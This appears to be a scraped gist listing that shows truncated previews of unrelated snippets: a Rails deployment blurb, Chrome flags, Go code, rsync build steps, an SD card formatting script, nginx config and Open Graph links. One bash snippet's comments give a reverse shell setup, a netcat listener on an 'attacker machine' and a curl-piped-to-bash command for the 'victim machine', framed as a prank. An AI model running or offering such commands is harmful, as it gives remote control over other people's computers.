- Zero Downtime
- Graceful shutdowns
- Via Github Actions
- Zero infrastructure management overhead
The general idea is to have Github Actions test, build and deploy a Rails app to Google Cloud Compute Engine.
# http://peter.sh/experiments/chromium-command-line-switches/ | |
mkdir -p /tmp/t1 | |
open -na "Google Chrome" --args --user-data-dir=/tmp/t1 --remote-debugging-port=9222 | |
# protip: press cmd+h to hide window |
if _, err := os.Stat("/path/to/whatever"); os.IsNotExist(err) { | |
// path/to/whatever does not exist | |
} | |
if _, err := os.Stat("/path/to/whatever"); !os.IsNotExist(err) { | |
// path/to/whatever exists | |
} |
#!/usr/bin/env bash | |
# run `nc -nvl 80` on attacker machine first | |
# run `curl -Ls https://git.io/vXd2N | bash -s <attacker-ip> 80` on victim machine | |
# great commands to run: | |
# * curl http://discovermagazine.com/~/media/import/images/b/e/b/chimpmedia.jpg -o /tmp/monkey.jpg | |
# open /tmp/monkey.jpg | |
# * say hello | |
# * open http://lmgtfy.com/?q=how+to+lock+mac | |
# * ls |
#!/usr/bin/env ruby | |
# Usage | |
# $ docker-machine create my-machine123 -d virtualbox | |
# $ ruby <(curl -L https://git.io/vvvco) my-machine123 | |
# https://gist.github.com/mattes/4d7f435d759ca2581347 | |
require 'erb' | |
bootlocalsh = %Q(#/bin/bash |
Do in Terminal (requires XCode with Command line tools installed):
curl -O http://rsync.samba.org/ftp/rsync/src/rsync-3.0.8.tar.gz
tar -xzvf rsync-3.0.8.tar.gz
rm rsync-3.0.8.tar.gz
curl -O http://rsync.samba.org/ftp/rsync/src/rsync-patches-3.0.8.tar.gz
tar -xzvf rsync-patches-3.0.8.tar.gz
rm rsync-patches-3.0.8.tar.gz
cd rsync-3.0.8
patch -p1
#!/bin/bash | |
# Quelle: http://omappedia.org/wiki/Minimal-FS_SD_Configuration, 06.06.2012 | |
if [ ! "$1" = "/dev/sda" ] ; then | |
unset LANG | |
DRIVE=$1 | |
if [ -b "$DRIVE" ] ; then | |
dd if=/dev/zero of=$DRIVE bs=1024 count=1024 | |
SIZE=`fdisk -l $DRIVE | grep Disk | awk '{print $5}'` | |
echo DISK SIZE - $SIZE bytes | |
CYLINDERS=`echo $SIZE/255/63/512 | bc` |
upstream redash { | |
server redash:5000; | |
} | |
server { | |
listen 80; | |
location / { | |
return 301 https://$host$request_uri; | |
} |
http://ogp.me/ | |
https://moz.com/blog/meta-data-templates-123 | |
https://search.google.com/structured-data/testing-tool | |
https://developers.facebook.com/tools/debug/og/object - https://developers.facebook.com/docs/reference/opengraph | |
https://cards-dev.twitter.com/validator - https://dev.twitter.com/cards/types | |
https://developers.pinterest.com/tools/url-debugger/ - https://developers.pinterest.com/docs/rich-pins/overview/ | |
https://developer.linkedin.com/docs/share-on-linkedin |